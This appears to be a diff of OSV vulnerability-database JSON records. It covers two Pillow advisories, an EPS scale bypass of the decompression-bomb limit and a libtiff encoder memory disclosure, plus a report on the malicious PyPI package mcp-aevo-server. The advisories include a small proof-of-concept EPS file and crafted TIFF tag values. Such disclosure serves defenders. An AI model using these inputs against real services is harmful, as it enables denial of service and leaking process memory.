{"schema_version":"1.9.0","id":"GHSA-vx6w-vv9f-6gvg","published":"2026-10-20T20:53:21Z","modified":"2026-11-17T13:41:14.035640135Z","aliases":["BIT-pillow-2026-112899","CVE-2026-112899"],"summary":"Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit","details":"```\n============================================================================\nEPS load(scale) lets Ghostscript render past the decompression bomb limit\nLocation: src/PIL/EpsImagePlugin.py:92 in Ghostscript()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.\n\nThe cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000×9000 passes, and `load(scale=2)` then asks Ghostscript for 18000×18000 (3.6× `MAX_IMAGE_PIXELS`). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.\n\nThe effect is a constant-factor overshoot rather than an unbounded one, for three reasons:\n\n* The multiplier is an integer chosen by the application, not by the file.\n* With the default warning filter, `Image.open()` already lets files up to 2× the limit reach Ghostscript at `scale=1`.\n* Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout.\n\nThis is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included.\n\n## Details\n\n`EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N × height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width × height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started.\n\nThis 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning:\n\n```\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 9000 9000\n%%EndComments\n0 0 moveto 9000 9000 lineto stroke\nshowpage\n```\n\n`im.load(scale=2)` on it then executes\n\n```\ngs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage\n```\n\ni.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at `scale=1` — a 537 MB PNM. Against that baseline, `scale=2` is 4× an already-permitted render.)\n\nThe arithmetic is in `Ghostscript()`:\n\n```python\n# src/PIL/EpsImagePlugin.py:91-97\n # Hack to support hi-res rendering\n scale = int(scale) or 1\n width = size[0] * scale\n height = size[1] * scale\n # resolution is dependent on bbox and size\n res_x = 72.0 * width / (bbox[2] - bbox[0])\n …\n# src/PIL/EpsImagePlugin.py:139-142\n command = [\n gs_binary,\n \"-q\", # quiet mode\n f\"-g{width:d}x{height:d}\", # set output geometry (pixels)\n …\n# src/PIL/EpsImagePlugin.py:165-168\n subprocess.check_call(command, startupinLine truncated
+1 -1
View File
@@ -1 +1 @@
{"schema_version":"1.9.2","id":"GHSA-xvh5-g6gv-559v","published":"2026-10-21T21:29:16Z","modified":"2026-11-11T10:20:03.066593346Z","aliases":["CVE-2026-112902","PYSEC-2026-4363"],"summary":" Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags","details":"```\n============================================================================\nMemory disclosure and segfault in libtiff encoder via crafted TIFF tags\nLocation: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, \"TIFF\")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.\n\nThe bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag:\n\n- For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.\n- For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.\n\nWhere that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.\n\nOther branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` (\"Added custom int and float TIFF tags\") and first released in 5.4.0.\n\n## Details\n\n`PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument\nlist it hands to the variadic `TIFFSetField()` from the *Python* value of each\ntag — scalar vs. tuple vs. `bytes`, and a type that is either autodetected or\ncopied from the source file's IFD — and assumes that its own\n`ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the\n`va_list`. It does not: libtiff keeps its built-in definition for every tag it\nalready knows, and core tags are never registered at all. libtiff therefore\nconsumes the varargs as `(count, pointer)`, `(pointer)` or three pointers\naccording to *its* field table, whatever Pillow actually pushed. The encoder\nnever consults that table (`TIFFFindField` / `TIFFFieldPassCount` /\n`TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call.\n\nThe most severe instance, and the one the attached reproducer exercises: when a\nTIFF is re-saved through the libtiff writer, every tag of the source IFD that\nPillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A\ncount-1 integer entry is passed as a single scalar vararg. If libtiff's own\nfield table defines that tag number as an *array* field, libtiff consumes the\nvarargs as `(count, pointer)` or `(pointer)` instead, so the attacker's integer\nbecomes either the number of bytes to copy from a never-written vararg slot, or\nthe source address itself. The same mismatch is reachable through the typed\ntuple branches (tuple length consumed as a pointer for fixed-count built-in\ntags such as `CFARepeatPatternDim`, even when the source file is well-formed),\nthe `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop;\nthose are listed\nunder *Other branches with the same defect* below and need to be covered by the\nsame fix.\n\nA 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry\n`50740 / LONG / count 1 / value 4096` — DNGPrivateData) opened with\n`Image.open()` and saved with a bare `im.saLine truncated
{"schema_version":"1.9.2","id":"GHSA-xvh5-g6gv-559v","published":"2026-10-21T21:29:16Z","modified":"2026-11-17T13:41:13.808355629Z","aliases":["BIT-pillow-2026-112902","CVE-2026-112902","PYSEC-2026-4363"],"summary":" Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags","details":"```\n============================================================================\nMemory disclosure and segfault in libtiff encoder via crafted TIFF tags\nLocation: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, \"TIFF\")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.\n\nThe bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag:\n\n- For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.\n- For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.\n\nWhere that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.\n\nOther branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` (\"Added custom int and float TIFF tags\") and first released in 5.4.0.\n\n## Details\n\n`PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument\nlist it hands to the variadic `TIFFSetField()` from the *Python* value of each\ntag — scalar vs. tuple vs. `bytes`, and a type that is either autodetected or\ncopied from the source file's IFD — and assumes that its own\n`ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the\n`va_list`. It does not: libtiff keeps its built-in definition for every tag it\nalready knows, and core tags are never registered at all. libtiff therefore\nconsumes the varargs as `(count, pointer)`, `(pointer)` or three pointers\naccording to *its* field table, whatever Pillow actually pushed. The encoder\nnever consults that table (`TIFFFindField` / `TIFFFieldPassCount` /\n`TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call.\n\nThe most severe instance, and the one the attached reproducer exercises: when a\nTIFF is re-saved through the libtiff writer, every tag of the source IFD that\nPillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A\ncount-1 integer entry is passed as a single scalar vararg. If libtiff's own\nfield table defines that tag number as an *array* field, libtiff consumes the\nvarargs as `(count, pointer)` or `(pointer)` instead, so the attacker's integer\nbecomes either the number of bytes to copy from a never-written vararg slot, or\nthe source address itself. The same mismatch is reachable through the typed\ntuple branches (tuple length consumed as a pointer for fixed-count built-in\ntags such as `CFARepeatPatternDim`, even when the source file is well-formed),\nthe `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop;\nthose are listed\nunder *Other branches with the same defect* below and need to be covered by the\nsame fix.\n\nA 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry\n`50740 / LONG / count 1 / value 4096` — DNGPrivateData) opened with\n`Image.open()` andLine truncated
+1
View File
@@ -0,0 +1 @@
{"schema_version":"1.9.2","id":"MAL-2026-20068","published":"2026-11-17T14:45:00Z","modified":"2026-11-17T16:30:04.746915960Z","summary":"Malicious code in mcp-aevo-server (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (6c0f51469b807e83b880e6b1337fab3798b91f26b387e70f92280c060b742a0f)\nPackage targets users ribbon-finance/aevo-trading-skills, which referred to an unclaimed name in PyPI. The package exfiltrates the user's credentials from environment variables and starts a thread listening for remote commands to execute.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-mcp-aevo-server\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - dependency-confusion\n\n\n - crypto-related\n\n\n - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.\n\n\n - uses-telegram-bot\n","affected":[{"package":{"name":"mcp-aevo-server","ecosystem":"PyPI","purl":"pkg:pypi/mcp-aevo-server"},"versions":["0.2.0","0.2.0.post1","0.2.0.post2","0.2.0.post3","0.2.0.post4","0.2.0.post6"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/mcp-aevo-server/MAL-2026-20068.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/mcp-aevo-server"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-11-mcp-aevo-server/mcp-aevo-server","import_time":"2026-11-17T16:13:56.887204059Z","modified_time":"2026-11-17T14:45:00.176673Z","sha256":"6c0f51469b807e83b880e6b1337fab3798b91f26b387e70f92280c060b742a0f","source":"kam193","versions":["0.2.0","0.2.0.post1","0.2.0.post2","0.2.0.post3","0.2.0.post4","0.2.0.post6"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
+1 -1
View File
@@ -1 +1 @@
{"schema_version":"1.9.2","id":"PYSEC-2026-4363","published":"2026-11-05T21:18:36.713Z","modified":"2026-11-11T10:00:02.351084890Z","aliases":["CVE-2026-112902","GHSA-xvh5-g6gv-559v"],"details":"Pillow is a Python imaging library. In versions through 12.3.0, the libtiff TIFF encoder can pass arguments to  TIFFSetField()  that do not match libtiff’s definition of the corresponding tag. When an application saves attacker-controlled image metadata through this encoder, crafted tag values can cause invalid memory reads, copying process memory into the encoded output or crashing the process. Applications that return the encoded output to an attacker can disclose that memory. The issue is reachable when re-saving compressed TIFF images and through certain conversions that preserve EXIF metadata into compressed TIFF output. This vulnerability is fixed in version 13.0.0.","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/pillow/PYSEC-2026-4363.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/570df030c0d30c2bf5336b2ab59f3902d8ab0b6d"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/pull/10227"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"}]}
{"schema_version":"1.9.2","id":"PYSEC-2026-4363","published":"2026-11-05T21:18:36.713Z","modified":"2026-11-17T13:41:13.808355629Z","aliases":["BIT-pillow-2026-112902","CVE-2026-112902","GHSA-xvh5-g6gv-559v"],"details":"Pillow is a Python imaging library. In versions through 12.3.0, the libtiff TIFF encoder can pass arguments to  TIFFSetField()  that do not match libtiff’s definition of the corresponding tag. When an application saves attacker-controlled image metadata through this encoder, crafted tag values can cause invalid memory reads, copying process memory into the encoded output or crashing the process. Applications that return the encoded output to an attacker can disclose that memory. The issue is reachable when re-saving compressed TIFF images and through certain conversions that preserve EXIF metadata into compressed TIFF output. This vulnerability is fixed in version 13.0.0.","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/pillow/PYSEC-2026-4363.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/570df030c0d30c2bf5336b2ab59f3902d8ab0b6d"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/pull/10227"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"}]}